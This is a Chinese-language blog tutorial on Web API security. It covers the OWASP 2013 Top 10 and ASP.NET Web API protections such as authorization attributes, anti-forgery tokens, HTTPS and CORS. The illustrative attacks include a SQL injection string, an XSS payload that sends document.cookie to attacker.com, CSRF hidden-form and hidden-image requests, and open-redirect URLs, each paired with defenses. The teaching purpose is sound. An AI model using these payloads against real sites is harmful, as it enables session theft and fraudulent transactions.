Web API入門(mén)指南有些朋友回復(fù)問(wèn)了些安全方面的問(wèn)題,安全方面可以寫(xiě)的東西實(shí)在太多了,這里盡量圍繞著Web API的安全性來(lái)展開(kāi),介紹一些安全的基本概念,常見(jiàn)安全隱患、相關(guān)的防御技巧以及Web API提供的安全機(jī)制。
目錄
- Web API 安全概覽
- 安全隱患
- 1. 注入(Injection)
- 2. 無(wú)效認(rèn)證和Session管理方式(Broken Authentication and Session Management)
- 3. 跨站腳本(Cross-Site Scripting (XSS))
- 4. 直接引用非安全對(duì)象(Insecure Direct Object References)
- 5. 錯(cuò)誤的安全配置(Security Misconfiguration)
- 6. 暴露敏感數(shù)據(jù)(Sensitive Data Exposure)
- 7. 功能級(jí)權(quán)限控制缺失(Missing Function Level Access Control)
- 8. 偽造跨站請(qǐng)求(Cross-Site Request Forgery)
- 9. 使用已知安全隱患組件(Using Components with Known Vulnerabilities)
- 10. 未驗(yàn)證跳轉(zhuǎn)(Unvalidated Redirects and Forwards)
- Web API安全機(jī)制
Web API 安全概覽
先引用下wikipedia信息安全的定義:即保護(hù)信息免受未經(jīng)授權(quán)的進(jìn)入、使用、披露、破壞、修改、檢視、記錄及銷毀,從而保證數(shù)據(jù)的機(jī)密性(Confidentiality)、完整性(Integrity)和可靠性(Availability)。
機(jī)密性和完整性都很好理解,可靠性作為信息安全的一個(gè)重要原則這里特別解釋一下,即訪問(wèn)信息的時(shí)候保證可以訪問(wèn)的到,有一種攻擊方式叫DOS/DDOS,即拒絕服務(wù)攻擊,專門(mén)破壞網(wǎng)站的可用性。
Information security, sometimes shortened to InfoSec, is the practice of defending information from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction.
圍繞Web API安全,在不同的層次上有不同的防護(hù)措施。例如,
- 網(wǎng)絡(luò)傳輸層https數(shù)據(jù)加密
- 認(rèn)證方式Knowledge Factors/Ownership Factors/Two-Factor Security
- 服務(wù)器系統(tǒng)層權(quán)限管理,安全補(bǔ)丁升級(jí)更新
- IIS層認(rèn)證/授權(quán)模塊管理
- .NET層面的Identity管理,認(rèn)證模塊管理
- Web API授權(quán)管理,輸入驗(yàn)證
- 數(shù)據(jù)庫(kù)層面數(shù)據(jù)加密,用戶權(quán)限管理
下圖是一個(gè)概覽。
安全隱患
安全隱患種類繁多,這里簡(jiǎn)單介紹下OWASP 2013年票選前十位安全隱患。
1. 注入(Injection)
注入是指輸入中包含惡意代碼(在解釋器中會(huì)被作為語(yǔ)句執(zhí)行而非純文本),直接被傳遞給給解釋器并執(zhí)行,那么攻擊者就可以竊取、修改或者破壞數(shù)據(jù)。
注入有很多種類型,最常見(jiàn)的如SQL注入、LDAP注入、OS命令注入等。
示例
以下代碼是一個(gè)典型的SQL注入隱患
String query = "SELECT * FROM accounts WHERE customerName='" + request.getParameter("name") + "'";
如果輸入中customerName后面加上一個(gè)' or '1'='1,可以想象所有的accounts表數(shù)據(jù)都回被返回。
防御
- 通過(guò)封裝API以參數(shù)形式來(lái)調(diào)用解釋器,避免將整個(gè)解釋器功能暴露給客戶端。
- 如果沒(méi)有封裝好的安全API,可以考慮將特殊字符轉(zhuǎn)義之后再傳遞給解釋器。
- 更加激進(jìn)一點(diǎn)的話可以提供一個(gè)輸入的白名單,只有名單上的數(shù)據(jù)才可以進(jìn)入解釋器。
2. 無(wú)效認(rèn)證和Session管理方式(Broken Authentication and Session Management)
開(kāi)發(fā)人員經(jīng)常自己編寫(xiě)認(rèn)證或session管理模塊,但是這種模塊需要考慮的因素眾多,很難正確完整的實(shí)現(xiàn)。所以經(jīng)常會(huì)在登入登出、密碼管理、超時(shí)設(shè)置、安全問(wèn)題、帳戶更新等方面存在安全隱患,給攻擊者以可乘之機(jī)。
示例
- 用戶密碼用明文保存,例如2011年12月多家網(wǎng)站數(shù)據(jù)泄露,其中就發(fā)現(xiàn)國(guó)內(nèi)知名技術(shù)網(wǎng)站居然也用明文存儲(chǔ)用戶密碼。單純的客戶密碼復(fù)雜度高還是不夠,服務(wù)器的坑爹的實(shí)現(xiàn)還是會(huì)導(dǎo)致客戶裸奔。
- 用戶密碼可以被特殊操作覆蓋。例如不正確的實(shí)現(xiàn)密碼更改功能、恢復(fù)密碼功能等都有可能造成密碼被直接更改。
- 網(wǎng)頁(yè)URL中包含Session ID。例如你發(fā)現(xiàn)一個(gè)有趣的網(wǎng)頁(yè),然后把鏈接通過(guò)聊天工具貼給其他人,但是這個(gè)鏈接中包含了你的session id,別人點(diǎn)擊這個(gè)鏈接就直接使用了你的session,同時(shí)他也可以作任何你可以在該網(wǎng)站上允許的操作,例如買張手機(jī)沖值卡。
- Session ID不會(huì)timeout,或者session/token/SSO token在登出的時(shí)候沒(méi)有將其失效。
- 用戶認(rèn)證信息、Session ID使用未加密連接傳輸。這里要提一下博客園的認(rèn)證連接也是不加密的,通過(guò)抓報(bào)工具很容易抓到用戶的密碼信息。目前來(lái)說(shuō)我們可以做的是為博客園專門(mén)設(shè)置一個(gè)密碼,千萬(wàn)別用自己自己信用卡或支付寶密碼。
防御
- 推薦直接使用被廣泛應(yīng)用的認(rèn)證控件及Session管理模塊。
3. 跨站腳本(Cross-Site Scripting (XSS))
允許跨站腳本是Web 2.0時(shí)代網(wǎng)站最普遍的問(wèn)題。如果網(wǎng)站沒(méi)有對(duì)用戶提交的數(shù)據(jù)加以驗(yàn)證而直接輸出至網(wǎng)頁(yè),那么惡意用戶就可以在網(wǎng)頁(yè)中注入腳本來(lái)竊取用戶數(shù)據(jù)。
示例
例如網(wǎng)站通過(guò)以下代碼直接構(gòu)造網(wǎng)頁(yè)輸出,
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
攻擊者輸入以下數(shù)據(jù),
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'.
當(dāng)該數(shù)據(jù)被輸出到頁(yè)面的時(shí)候,每個(gè)訪問(wèn)該頁(yè)面的用戶cookie就自動(dòng)被提交到了攻擊者定義好的網(wǎng)站。
防御
- 推薦將所有用戶輸入數(shù)據(jù)進(jìn)行轉(zhuǎn)義
- 激進(jìn)的方法是提供一個(gè)白名單控制用戶輸入
- 對(duì)于富文本輸入可以使用anti-xss library來(lái)處理輸入,例如Microsoft AntiXSS library.
4. 直接對(duì)象引用(Insecure Direct Object References)
這個(gè)問(wèn)題在動(dòng)態(tài)網(wǎng)頁(yè)中也相當(dāng)普遍,指的是頁(yè)面存在對(duì)數(shù)據(jù)對(duì)象的鍵/名字的直接引用,而網(wǎng)站程序沒(méi)有驗(yàn)證用戶是否有訪問(wèn)目標(biāo)對(duì)象的權(quán)限。
示例
例如一個(gè)網(wǎng)站通過(guò)以下代碼返回客戶信息,
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
攻擊者可以通過(guò)修改querystring來(lái)查詢?nèi)魏稳说男畔?/p>
http://example.com/app/accountInfo?acct=notmyacct
防御
- 使用用戶級(jí)別或Session級(jí)別的間接對(duì)象引用,比如用戶界面上下拉框中選項(xiàng)對(duì)應(yīng)簡(jiǎn)單數(shù)字而不是對(duì)象的數(shù)據(jù)庫(kù)鍵值,界面數(shù)字與對(duì)象鍵值之間的對(duì)應(yīng)關(guān)系在用戶級(jí)別或session級(jí)別維護(hù)。
- 控制訪問(wèn),在真正的操作之前判斷用戶是否有權(quán)限執(zhí)行該操作或訪問(wèn)目標(biāo)數(shù)據(jù)。
5. 錯(cuò)誤的安全配置(Security Misconfiguration)
安全配置可能在各個(gè)級(jí)別(platform/web server/application server/database/framework/custom code)出錯(cuò),開(kāi)發(fā)人員需要同系統(tǒng)管理合作來(lái)確保合理配置。
示例
配置問(wèn)題的范例比較多樣,常見(jiàn)的幾種如下,
- 服務(wù)器使用過(guò)期或存在安全漏洞的軟件
- 安裝了沒(méi)有必要的功能
- 系統(tǒng)默認(rèn)帳戶沒(méi)有禁用或使用默認(rèn)密碼
- 出錯(cuò)信息中包含錯(cuò)誤細(xì)節(jié)(調(diào)用棧信息)
- 使用的開(kāi)發(fā)框架中的安全設(shè)置沒(méi)有正確配置
防御
- 開(kāi)發(fā)可復(fù)用自動(dòng)化流程來(lái)部署環(huán)境,保證開(kāi)發(fā),測(cè)試與生產(chǎn)環(huán)境具有相同配置
- 及時(shí)更新軟件、系統(tǒng)以及使用的框架
- 架構(gòu)設(shè)計(jì)充分考慮組件的安全邊界分割
- 使用專業(yè)掃描工具定期檢查安全漏洞
6. 暴露敏感數(shù)據(jù)(Sensitive Data Exposure)
這種漏洞就是導(dǎo)致知名網(wǎng)站用戶信息泄露的關(guān)鍵,通過(guò)明文存儲(chǔ)敏感數(shù)據(jù)。
示例
- 密碼數(shù)據(jù)庫(kù)中通過(guò)明文或者通過(guò)unsalted hash來(lái)存儲(chǔ)。攻擊通過(guò)文件上傳漏洞得到密碼文件,所有的密碼都會(huì)泄露。
- 另外一個(gè)典型示例就是用戶登錄使用未加密連接,這里不舉例說(shuō)明了。。。
防御
- 加密所有必須的敏感數(shù)據(jù)
- 避免存儲(chǔ)不必須的敏感數(shù)據(jù)
- 使用強(qiáng)加密算法
- 使用專門(mén)設(shè)計(jì)的密碼加密算法
- 禁用包含敏感數(shù)據(jù)的form中的自動(dòng)完成功能,禁用包含敏感數(shù)據(jù)的頁(yè)面緩存
7. 功能級(jí)權(quán)限控制缺失(Missing Function Level Access Control)
功能級(jí)別權(quán)限控制一般是寫(xiě)在代碼中或者通過(guò)程序的配置文件來(lái)完成,但是可惜的是開(kāi)發(fā)者經(jīng)常忘記添加一些功能的權(quán)限控制代碼。
示例
例如以下鏈接本該只有admin才能訪問(wèn),但如果匿名用戶或者非admin用戶可以直接在瀏覽器中訪問(wèn)該鏈接,說(shuō)明網(wǎng)站存在功能級(jí)權(quán)限控制漏洞。
http://example.com/app/getappInfo http://example.com/app/admin_getappInfo
防御
- 不要hard code權(quán)限控制,需要建立一種可以比較容易更新和監(jiān)測(cè)權(quán)限控制的機(jī)制
- 默認(rèn)拒絕所有訪問(wèn),訪問(wèn)任何功能都需要被賦予特定的權(quán)限
- 如果某功能在一個(gè)workflow中,需要確認(rèn)所有的前提條件都在正確的狀態(tài),然后允許訪問(wèn)該功能
8. 偽造跨站請(qǐng)求(Cross-Site Request Forgery)
同樣是跨站請(qǐng)求,這種與問(wèn)題3的不同之處在于這個(gè)請(qǐng)求是從釣魚(yú)網(wǎng)站上發(fā)起的。
示例
例如釣魚(yú)網(wǎng)站上包含了下面的隱藏代碼,
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
這行代碼的作用就是一個(gè)在example.com網(wǎng)站的轉(zhuǎn)帳請(qǐng)求,客戶訪問(wèn)釣魚(yú)網(wǎng)站時(shí),如果也同時(shí)登錄了example.com或者保留了example.com的登錄狀態(tài),那個(gè)相應(yīng)的隱藏請(qǐng)求就會(huì)被成功執(zhí)行。
防御
- 推薦使用session級(jí)別的唯一token保存在hidden field,這樣該值就會(huì)被包含在請(qǐng)求體中,這樣釣魚(yú)網(wǎng)站的請(qǐng)求就無(wú)法得知該token從而會(huì)使請(qǐng)求失效。
9. 使用已知安全隱患組件(Using Components with Known Vulnerabilities)
幾乎每個(gè)程序都有這個(gè)問(wèn)題,因?yàn)榇蠖鄶?shù)人不會(huì)關(guān)心自己引用的庫(kù)文件是否存在已知安全漏洞,而且一旦部署成功就不會(huì)再有人關(guān)心是否有組件需要升級(jí)。然而這些組件在服務(wù)器中運(yùn)行,擁有相當(dāng)高的權(quán)限去訪問(wèn)系統(tǒng)中的各種資源,一旦攻擊者利用該組件已知漏洞,那么竊取或破壞信息也將不是難事。
示例
以下兩個(gè)組件都存在已知的安全缺陷從而可以讓攻擊者獲得服務(wù)器最高權(quán)限,但是在2011年他們被下載了22M次之多,但是其中有多少被更新了,多少還在繼續(xù)使用呢。
防御
- 確定系統(tǒng)使用的所有組件及其版本,包括相應(yīng)的依賴組件
- 關(guān)注這些組件相應(yīng)的項(xiàng)目郵件組、issue數(shù)據(jù)庫(kù)的安全更新
- 定義組件安全使用策略,避免濫用組件
- 如果可能的話對(duì)組件進(jìn)行包裝,從而禁用其不安全的功能
10. 未驗(yàn)證跳轉(zhuǎn)(Unvalidated Redirects and Forwards)
很多網(wǎng)站都經(jīng)常會(huì)需要進(jìn)行頁(yè)面跳轉(zhuǎn),而且有些跳轉(zhuǎn)會(huì)根據(jù)用戶輸入來(lái)決定,這樣就給了攻擊者可乘之機(jī),從而可能將用戶導(dǎo)向惡意網(wǎng)站或者未授權(quán)鏈接。
示例
下面頁(yè)面請(qǐng)求根據(jù)query string url字段來(lái)進(jìn)行跳轉(zhuǎn),這樣攻擊者很容易偽造類似于以下的跳轉(zhuǎn)鏈接將客戶導(dǎo)向到釣魚(yú)網(wǎng)站。
http://www.example.com/redirect.jsp?url=evil.com
又如未授權(quán)用戶通過(guò)下面鏈接跳過(guò)授權(quán)檢查直接到admin頁(yè)面
http://www.example.com/boring.jsp?fwd=admin.jsp
防御
- 避免跳轉(zhuǎn)
- 不要根據(jù)用戶輸入來(lái)跳轉(zhuǎn)
- 如果必須根據(jù)輸入跳轉(zhuǎn),驗(yàn)證該輸入并且該用戶具備訪問(wèn)該目標(biāo)路徑的權(quán)限
- 如果必須根據(jù)輸入跳轉(zhuǎn),推薦根據(jù)用戶輸入來(lái)內(nèi)部決定對(duì)應(yīng)的跳轉(zhuǎn)目標(biāo),不直接使用輸入
Web API安全機(jī)制
Web API包含了一套完整的安全機(jī)制,而且具備不錯(cuò)的擴(kuò)展性,這一節(jié)我們主要介紹Web API提供的一些基本安全相關(guān)的功能。
認(rèn)證與授權(quán)(Authentication and Authorization)
先給認(rèn)證和授權(quán)下個(gè)定義。
什么是認(rèn)證?簡(jiǎn)單來(lái)說(shuō)認(rèn)證就是搞清楚用戶是誰(shuí)。
什么是授權(quán)?授權(quán)就是搞清楚用戶可以做什么。
認(rèn)證
Web API的認(rèn)證取決于宿主環(huán)境配置的認(rèn)證方式,比如Web API host在IIS,那么在IIS相應(yīng)的網(wǎng)站上認(rèn)證配置抑或自定義的認(rèn)證模塊同樣會(huì)作用于Web API。
在Web API中檢查一個(gè)請(qǐng)求是否經(jīng)過(guò)認(rèn)證,可以通過(guò)以下屬性來(lái)判斷,
Thread.CurrentPrincipal.Identity.IsAuthenticated
如果程序需要采用自定義的認(rèn)證方式,需要同時(shí)設(shè)置以下兩個(gè)屬性,
- Thread.CurrentPrincipal. This property is the standard way to set the thread's principal in .NET.
- HttpContext.Current.User. This property is specific to ASP.NET.
private void SetPrincipal(IPrincipal principal)
{
Thread.CurrentPrincipal = principal;
if (HttpContext.Current != null)
{
HttpContext.Current.User = principal;
}
}
授權(quán)
授權(quán)在我們編寫(xiě)API的時(shí)候經(jīng)常會(huì)涉及到,Web API也提供了比較完整的授權(quán)檢查機(jī)制。
如果我們想知道認(rèn)證的用戶信息,可以通過(guò)ApiController.User來(lái)查看。
public HttpResponseMessage Get()
{
if (User.IsInRole("Administrators"))
{
// ...
}
}
另外我們可以在不同級(jí)別使用AuthorizeAtrribute來(lái)控制不同級(jí)別的授權(quán)訪問(wèn)。
如果我們希望在全局所有的Controller控制授權(quán),只有授權(quán)用戶可以訪問(wèn)的話,可以通過(guò)以下方式,
public static void Register(HttpConfiguration config)
{
config.Filters.Add(new AuthorizeAttribute());
}
如果希望控制在個(gè)別Controller級(jí)別,
[Authorize]
public class ValuesController : ApiController
{
public HttpResponseMessage Get(int id) { ... }
public HttpResponseMessage Post() { ... }
}
如果希望控制在個(gè)別Action級(jí)別,
public class ValuesController : ApiController
{
public HttpResponseMessage Get() { ... }
// Require authorization for a specific action.
[Authorize]
public HttpResponseMessage Post() { ... }
}
如果希望允許個(gè)別Action匿名訪問(wèn),
[Authorize]
public class ValuesController : ApiController
{
[AllowAnonymous]
public HttpResponseMessage Get() { ... }
public HttpResponseMessage Post() { ... }
}
如果希望允許個(gè)別用戶或者用戶組,
// Restrict by user:
[Authorize(Users="Alice,Bob")]
public class ValuesController : ApiController
{
}
// Restrict by role:
[Authorize(Roles="Administrators")]
public class ValuesController : ApiController
{
}
偽造跨站請(qǐng)求(Cross-Site Request Forgery Attacks)
再來(lái)復(fù)習(xí)一遍什么是偽造跨站請(qǐng)求攻擊
1. 用戶成功登錄了www.example.com,客戶端保存了該網(wǎng)站的cookie,并且沒(méi)有l(wèi)ogout。
2. 用戶接下來(lái)訪問(wèn)了另外一個(gè)惡意網(wǎng)站,包含如下代碼
<h1>You Are a Winner!</h1>
<form action="http://example.com/api/account" method="post">
<input type="hidden" name="Transaction" value="withdraw" />
<input type="hidden" name="Amount" value="1000000" />
<input type="submit" value="Click Me"/>
</form>
3. 用戶點(diǎn)擊submit按鈕,瀏覽器向example.com發(fā)起請(qǐng)求到服務(wù)器,執(zhí)行了攻擊者期望的操作。
上面的事例需要用戶點(diǎn)擊按鈕,但網(wǎng)頁(yè)也可以通過(guò)簡(jiǎn)單的腳本直接在網(wǎng)頁(yè)加載過(guò)程中自動(dòng)發(fā)送各種請(qǐng)求出去。
正如我們之前提到的防御方案所說(shuō),ASP.NET MVC中可以通過(guò)下面簡(jiǎn)單的代碼可以在頁(yè)面中添加一個(gè)隱藏field,存放一個(gè)隨機(jī)代碼,這個(gè)隨機(jī)碼會(huì)與cookie一起在服務(wù)器通過(guò)校驗(yàn)。這樣其他網(wǎng)站無(wú)法得到不同用戶的隨機(jī)代碼,也就無(wú)法成功執(zhí)行相應(yīng)的請(qǐng)求。
@using (Html.BeginForm("Manage", "Account")) {
@Html.AntiForgeryToken()
}
<form action="/Home/Test" method="post">
<input name="__RequestVerificationToken" type="hidden"
value="6fGBtLZmVBZ59oUad1Fr33BuPxANKY9q3Srr5y[...]" />
<input type="submit" value="Submit" />
</form>
對(duì)于沒(méi)有form的ajax請(qǐng)求,我們無(wú)法通過(guò)hidden field來(lái)自動(dòng)提交隨機(jī)碼,可以通過(guò)以下方式在客戶端請(qǐng)求頭中嵌入隨機(jī)碼,然后在服務(wù)器校驗(yàn),
<script>
@functions{
public string TokenHeaderValue()
{
string cookieToken, formToken;
AntiForgery.GetTokens(null, out cookieToken, out formToken);
return cookieToken + ":" + formToken;
}
}
$.ajax("api/values", {
type: "post",
contentType: "application/json",
data: { }, // JSON data goes here
dataType: "json",
headers: {
'RequestVerificationToken': '@TokenHeaderValue()'
}
});
</script>
void ValidateRequestHeader(HttpRequestMessage request)
{
string cookieToken = "";
string formToken = "";
IEnumerable tokenHeaders;
if (request.Headers.TryGetValues("RequestVerificationToken", out tokenHeaders))
{
string[] tokens = tokenHeaders.First().Split(':');
if (tokens.Length == 2)
{
cookieToken = tokens[0].Trim();
formToken = tokens[1].Trim();
}
}
AntiForgery.Validate(cookieToken, formToken);
}
安全鏈接(SSL)
對(duì)于需要啟用安全鏈接的地址,例如認(rèn)證頁(yè)面,可以通過(guò)以下方式定義AuthorizationFilterAttribute,來(lái)定義哪些action必須通過(guò)https訪問(wèn)。
public class RequireHttpsAttribute : AuthorizationFilterAttribute
{
public override void OnAuthorization(HttpActionContext actionContext)
{
if (actionContext.Request.RequestUri.Scheme != Uri.UriSchemeHttps)
{
actionContext.Response = new HttpResponseMessage(System.Net.HttpStatusCode.Forbidden)
{
ReasonPhrase = "HTTPS Required"
};
}
else
{
base.OnAuthorization(actionContext);
}
}
}
public class ValuesController : ApiController
{
[RequireHttps]
public HttpResponseMessage Get() { ... }
}
在Visual Studio里面測(cè)試的時(shí)候可以通過(guò)下面的設(shè)置來(lái)啟用SSL鏈接
IIS中可以通過(guò)如下設(shè)置來(lái)啟用SSL鏈接
<system.webServer>
<security>
<access sslFlags="Ssl, SslNegotiateCert" />
<!-- To require a client cert: -->
<!-- <access sslFlags="Ssl, SslRequireCert" /> -->
</security>
</system.webServer>
跨域請(qǐng)求(Cross-Origin Requests)
跨域請(qǐng)求與前面的跨站偽造請(qǐng)求類似,有些情況下我們需要在網(wǎng)頁(yè)中通過(guò)ajax去其他網(wǎng)站上請(qǐng)求資源,但是瀏覽器一般會(huì)阻止顯示ajax請(qǐng)求從其他網(wǎng)站收到的回復(fù)(注意瀏覽器其實(shí)發(fā)送了請(qǐng)求,但只會(huì)顯示出錯(cuò)),如果我們希望合理的跨域請(qǐng)求可以成功執(zhí)行并顯示成功,我們需要在目標(biāo)網(wǎng)站上添加邏輯來(lái)針對(duì)請(qǐng)求域啟用跨域請(qǐng)求。
要啟用跨域請(qǐng)求首先要從nuget上添加一個(gè)Cors庫(kù)引用,
Install-Package Microsoft.AspNet.WebApi.Cors
然后在WebApiConfig.Register中添加以下代碼
using System.Web.Http;
namespace WebService
{
public static class WebApiConfig
{
public static void Register(HttpConfiguration config)
{
// New code
config.EnableCors();
config.Routes.MapHttpRoute(
name: "DefaultApi",
routeTemplate: "api/{controller}/{id}",
defaults: new { id = RouteParameter.Optional }
);
}
}
}
接下來(lái)就可以在不同級(jí)別使用EnableCors屬性來(lái)控制啟用跨域請(qǐng)求了,
Global級(jí)別
public static class WebApiConfig
{
public static void Register(HttpConfiguration config)
{
var cors = new EnableCorsAttribute("www.example.com", "*", "*");
config.EnableCors(cors);
// ...
}
}
Controller級(jí)別
[EnableCors(origins: "http://www.example.com", headers: "*", methods: "*")]
public class ItemsController : ApiController
{
public HttpResponseMessage GetAll() { ... }
public HttpResponseMessage GetItem(int id) { ... }
public HttpResponseMessage Post() { ... }
[DisableCors]
public HttpResponseMessage PutItem(int id) { ... }
}
Action級(jí)別
public class ItemsController : ApiController
{
public HttpResponseMessage GetAll() { ... }
[EnableCors(origins: "http://www.example.com", headers: "*", methods: "*")]
public HttpResponseMessage GetItem(int id) { ... }
public HttpResponseMessage Post() { ... }
public HttpResponseMessage PutItem(int id) { ... }
}
允許跨域請(qǐng)求如何做到的?
瀏覽器會(huì)根據(jù)服務(wù)器回復(fù)的頭來(lái)檢查是否允許該跨域請(qǐng)求,比如瀏覽器的跨域請(qǐng)求頭如下,
GET http://myservice.azurewebsites.net/api/test HTTP/1.1 Referer: http://myclient.azurewebsites.net/ Accept: */* Accept-Language: en-US Origin: http://myclient.azurewebsites.net Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) Host: myservice.azurewebsites.net
如果服務(wù)器允許跨域,會(huì)添加一個(gè)Access-Control-Allow-Origin頭來(lái)通知瀏覽器該請(qǐng)求應(yīng)該被允許,
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/plain; charset=utf-8 Access-Control-Allow-Origin: http://myclient.azurewebsites.net Date: Wed, 05 Jun 2013 06:27:30 GMT Content-Length: 17 GET: Test message
本來(lái)還寫(xiě)了一個(gè)類似于博客園的投票頁(yè)面,但是文章太長(zhǎng)了,加載起來(lái)都費(fèi)勁,下次一起貼出來(lái)。


浙公網(wǎng)安備 33010602011771號(hào)